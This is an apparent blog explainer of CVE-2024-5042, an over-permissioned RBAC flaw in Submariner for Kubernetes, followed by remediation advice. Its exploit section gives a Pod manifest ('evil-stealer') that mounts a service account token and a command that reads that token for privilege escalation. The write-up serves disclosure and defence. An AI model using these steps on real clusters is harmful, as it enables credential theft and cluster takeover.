If you’re running Kubernetes across multiple clusters, you might be using Submariner—a promising tool to connect and interlink clusters. But in early 2024, a new vulnerability was found: CVE-2024-5042. This one is a big deal if you care about Kubernetes security, as it can let attackers jump from a single node to taking over your whole cluster.

Let’s break down CVE-2024-5042, understand how it works, look at some example code, and see what you can do to stay safe.

What Happened? TL;DR

A flaw in how Submariner uses Kubernetes role-based access control (RBAC) gives too much power to the wrong users and service accounts. An attacker with access to a Submariner component can use these broad permissions to launch malicious containers, steal service account tokens, and possibly take full control—not just on one node, but across others and maybe the whole cluster.

The Vulnerability: Unnecessary RBAC Permissions

The core of the problem is Submariner’s over-permissioned RBAC roles. Some service accounts for the Submariner components (like the route-agent or gateway) are set up to be far too powerful.

Here’s a simplified version of a problematic role

# Example: Overpowered RBAC ClusterRole in Submariner
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: submariner-route-agent
rules:
- apiGroups: [""]
  resources: ["pods", "secrets", "serviceaccounts"]
  verbs: ["get", "list", "create", "delete", "update"]
- apiGroups: ["batch"]
  resources: ["jobs"]
  verbs: ["*"]

Normally, you want the Submariner agent to manage its network setup—not to create Pods or view secrets anywhere in the cluster. With permissions like these, an attacker could use this service account to create new Pods _with any container image_ on any node.

The Exploit: Stealing Tokens and Chaining Attacks

Let’s look at what a privileged attacker can do if they compromise one of these service accounts.

Step 1: Launch a Malicious Pod

An attacker uses the overpowered service account to spawn a privileged Pod.

apiVersion: v1
kind: Pod
metadata:
  name: evil-stealer
spec:
  containers:
  - name: busybox
    image: busybox
    command: [ "sh", "-c", "sleep 360" ]
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: token
  volumes:
  - name: token
    projected:
      sources:
      - serviceAccountToken:
          path: token
  serviceAccountName: submariner-route-agent

This Pod will run on the node, and since it uses the submariner-route-agent service account, it’ll get all the powerful RBAC permissions granted to that account.

Step 2: Use the Token

Inside the Pod, the attacker can access the service account token at /var/run/secrets/kubernetes.io/serviceaccount/token:

cat /var/run/secrets/kubernetes.io/serviceaccount/token

They can now use this token with kubectl or any Kubernetes API client to perform further actions—possibly _any_ cluster-wide action enabled by those permissions.

Escalate to full cluster admin, if the service account is overly privileged

This is how an attacker could quickly compromise multiple nodes, and maybe your whole cluster.

Original References

- Red Hat Security Advisory
- Submariner GitHub Issue
- NVD - CVE-2024-5042 Details

Remediation and Mitigation

The Fix:
Submariner maintainers are working to tighten RBAC permissions. This means giving Submariner components _just enough_ permissions to do their jobs, and nothing extra. Upgrading to a patched Submariner version is the safest choice.

Review Service Accounts:

Check which RBAC roles you’ve granted to Submariner service accounts. Remove unnecessary permissions.

`

Monitor for Suspicious Activity:

Use tools like Kubeaudit or Kubewatch to spot Pods that don’t belong or that mount dangerous secrets.

Conclusion

CVE-2024-5042 is a good reminder: _always use the principle of least privilege_. Over-broad RBAC rules in a networking tool like Submariner can open the door to devastating, cluster-wide attacks. If you run Submariner, patch immediately and double-check your RBAC setup. One generous permission is all it takes.

Staying secure means staying alert—especially with third-party components in your clusters.

Want more info?
- CVE-2024-5042 at NVD
- Submariner Project
- Submariner GitHub

Timeline

Published on: 05/17/2024 14:15:21 UTC
Last modified on: 08/02/2024 16:14:59 UTC